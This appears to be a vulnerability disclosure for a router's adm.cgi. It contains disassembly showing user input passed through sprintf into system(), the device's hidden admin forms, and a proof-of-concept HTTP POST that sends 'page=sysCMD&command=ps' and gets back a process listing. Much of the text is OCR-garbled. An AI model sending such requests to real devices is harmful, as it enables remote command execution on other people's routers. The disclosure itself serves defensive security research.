

```
🖺 Listing: adm.cgi
                    00401470 18 00 bc 8f
                                                          gp,local 248(sp)
                    00401474 bf 00 40 10
                                              beq
                                                          v0, zero, LAB_00401774
                    00401478 00 00 00 00
                                              _nop
                    0040147c 00 00 22 82
                                              1b
                                                          v0,0x0(s1)
                    00401480 00 00 00 00
                                              nop
                    00401484 66 00 40 10
                                                          v0,zero,LAB_00401620
                                              beq
                    00401488 21 38 20 02
                                              _move
                    0040148c 20 80 85 8f
                                              īw
                                                          al,-0x7fe0(gp)=>PTR_s_ar_%d_0045ad60
t9,-0x7f7c(gp)=>-><EXTERNAL>::sprintf
                    00401490 84 80 99 8f
                                              lw
                                                         al=>s_echo_-n_%s:%s_>_/tmp/tmpchpw_&&_/_0040e6... = "echo -n %s:%s > /tmp/tmpchpw ...
                    00401494 70 e6 a5 24
                                              addiu
                    00401498 21 30 40 02
                                                          t9=><EXTERNAL>::sprintf
                    0040149c 09 f8 20 03
                                              jalr
                    004014a0 21 20 00 02
                                               move
                                                          a0.s0
                    004014a4 18 00 bc 8f
                                                          op.local 248(sp)
                    004014a8 21 20 00 02
                                              move
                    004014ac 3c 81 99 8f
004014b0 00 00 00 00
                                                          t9,-0x7ec4(gp)=>-><EXTERNAL>::system
                                              nop
                    004014b4 09 f8 20 03
                                             jalr
                                                                    RNAL>::system
                    004014b8 20 00 b0 27
                                              addiu
                                                          s0,sp,0x20
                    004014bc 18 00 bc 8f
                                                          gp,local_248(sp)
                                              addiu
                                                          al=>s_Login_0040e660,s4,-0x19a0
                    004014c0 60 e6 85 26
                    004014c4 74 80 99 8f
                                              lw
                                                          t9,-0x7f8c(gp)=>->nvram_bufset
                                                          a2,s2
                    004014c8 21 30 40 02
                                              move
                    004014cc 09 f8 20 03
                                             jalr
                    004014d0 21 20 00 00
                                               clear
                                                          a0
                                              īw
                    004014d4 18 00 bc 8f
                                                          qp,local 248(sp)
                    004014d8 21 30 20 02
                                              move
                                                          a2,s1
                    004014dc 20 80 85 8f
                                                          al,-0x7fe0(gp)=>PTR_s_ar_%d_0045ad60
                    004014e0 74 80 99 8f
                                                          t9,-0x7f8c(gp)=>->nvram_bufset
                                                         al=>s_Password_0040e8d0+4,al,-0x172c
                    004014e4 d4 e8 a5 24
                                              addiu
                    004014e8 09 f8 20 03
                                              jalr
                                                                                                           undefined nvram_bufset()
                                                          t9=>nvram bufset
                    004014ec 21 20 00 00
                                               clear
                                             īν
                    004014f0 18 00 bc 8f
                                                         gp,local_248(sp)
                    004014f4 00 00 00 00
                                              nop
```

```
<form method="post" name="repeatLastSystemCommand" action="/cgi-bin/adm.cgi">
     <input value="Repeat Last Command" id="repeatLastCommand" name="repeatLastCommand" type="su</pre>
     <input type=hidden name=page value=repeatLastCMD>
   <form method="post" name="resetFactoryAC" action="/cgi-bin/adm.cgi">
     <input value="Reset RF Parameters" id="resetFactoryParameters" name="resetFactoryParameters</pre>
       <input type=hidden name=page value=resetFactory>
   <form method="post" name="ChangeSetting" action="/cgi-bin/adm.cgi">
   <input type=hidden name=page value="changeCMD">
   WAN MAC: <input type="text" name="wanMAC" id="wanMAC" size="20" maxlength="17" style="height:
   LAN MAC: <input type="text" name="lanMAC" id="lanMAC" size="20" maxlength="17" style="height:
   ra0 MAC: <input type="text" name="ra0MAC" id="ra0MAC" size="20" maxlength="17" style="height:
   raiO MAC: <input type="text" name="raiOMAC" id="raiOMAC" size="20" maxlength="17" style="heig
   rax0 MAC: <input type="text" name="rai0MAC" id="rai0MAC" size="20" maxlength="17" style="heig
   Confirm: <input type="text" name="Confirm:" id="Confirm:" size="10" maxlength="10" style="hei
   <input value="Apply" id="changeApply" name="changeApply" onClick="return changeCheck()" type=</pre>
```

0x04 PoC verification

```
PID USER
                                                                         VSZ STAT COMMAND
         1 admin286 2292 S
                                                                           init
                                                   0 SW
0 SW
0 SW
0 SW
0 SW
                                                                          [kthreadd]
[ksoftirqd/0]
[kworker/u:0]
[khelper]
        2 admin286
3 admin286
                                                                                                                                                                                                                                                                                              Pretty Raw \n Actions >
                                                                                                                                                                                                                                                                                             | POST / cgi-bin/adm.cgi HTTP/1.1
| POST / cgi-bin/adm.cgi HTTP/1.1
| Host: 192.168.1.102
| Content-Length: 48
| Cache-Control: max-age=0
| Uggrade-Insocure-Requests: 1
| Origin: http://192.168.1.102
| Content-Type: application/x-www-form-urlencoded
| User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
| (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
        5 admin286
6 admin286
7 admin286
                                                                           [sync_supers]
[bdi-default]
[kblockd]
                                                    0 SW
0 SW<
         9 admin286
                                                                          [kblockd]
[kswapd0]
[crypto]
[mtdblock0]
[mtdblock1]
[mtdblock2]
     10 admin286
11 admin286
   11 admin286
15 admin286
16 admin286
17 admin286
18 admin286
19 admin286
20 admin286
88 admin286
                                                   0 SW
0 SW
0 SW
0 SW
                                                                                                                                                                                                                                                                                             (KHTML, like Gecko) Chromc/101.0.4951.54 Safari/537.36

Accept:
text/html,application/shtml+xml,application/xml;q=0.9,image/avif,image/w 1ebp,image/appg,*/*:q=0.8,application/signed-exchange;v=b3;q=0.9

Referer: http://192.168.1.102/webcmd.shtml

Accept-Encoding: gzip, deflate

Accept-Enaguage: zh-CN, zh;q=0.9

Connection: close
                                                                           [mtdblock4]
[kworker/u:1]
[kworker/0:1]
                                                   0 S\V
  111 admin286 2828 S
425 admin286 5560 S
1640 admin286 868 S
                                                                          Inworker/o...]
nvram_daemon
lighttpd -f /etc_ro/lighttpd/lighttpd.conf -m /etc_ro
mtkiappd -wi ra0 -wi rai0
1640 admin286
                                                                                                                                                                                                                                                                                                  page=sysCMD&command=ps&SystemCommandSubmit=Apply
```

0x05 Acknowledgement

PeiWen.Huang

Yuyu.Cao

Shengjie.Xu